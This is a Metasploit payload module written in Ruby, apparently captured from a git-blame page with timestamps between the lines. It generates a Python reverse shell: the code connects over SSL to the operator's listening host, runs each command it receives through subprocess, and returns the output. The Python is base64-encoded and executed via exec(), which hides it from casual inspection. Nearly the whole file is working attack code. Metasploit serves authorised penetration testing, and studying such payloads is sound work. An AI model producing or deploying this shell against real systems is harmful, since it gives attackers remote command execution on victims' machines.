2013-02-03 19:59:15 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-02-03 19:59:15 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core/handler/reverse_tcp_ssl'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2016-05-20 02:32:37 +00:00
|
|
|
CachedSize = 561
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
2014-06-04 01:27:06 +00:00
|
|
|
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
|
|
|
'Author' => 'RageLtMan',
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'python',
|
2014-06-04 01:27:06 +00:00
|
|
|
'Arch' => ARCH_PYTHON,
|
2013-08-30 21:28:54 +00:00
|
|
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'python',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
2014-06-04 01:27:06 +00:00
|
|
|
super + command_string
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
|
|
|
cmd = ''
|
|
|
|
dead = Rex::Text.rand_text_alpha(2)
|
|
|
|
# Set up the socket
|
|
|
|
cmd += "import socket,subprocess,os,ssl\n"
|
|
|
|
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
|
|
|
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
|
|
|
cmd += "s=ssl.wrap_socket(so)\n"
|
|
|
|
# The actual IO
|
|
|
|
cmd += "#{dead}=False\n"
|
|
|
|
cmd += "while not #{dead}:\n"
|
|
|
|
cmd += "\tdata=s.recv(1024)\n"
|
|
|
|
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
|
|
|
|
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
|
|
|
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
2016-05-20 01:49:04 +00:00
|
|
|
cmd += "\ts.sendall(stdout_value)\n"
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
|
|
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
2013-02-03 19:59:15 +00:00
|
|
|
|
2014-06-04 01:27:06 +00:00
|
|
|
cmd
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-02-03 19:59:15 +00:00
|
|
|
end
|
2014-06-04 01:27:06 +00:00
|
|
|
|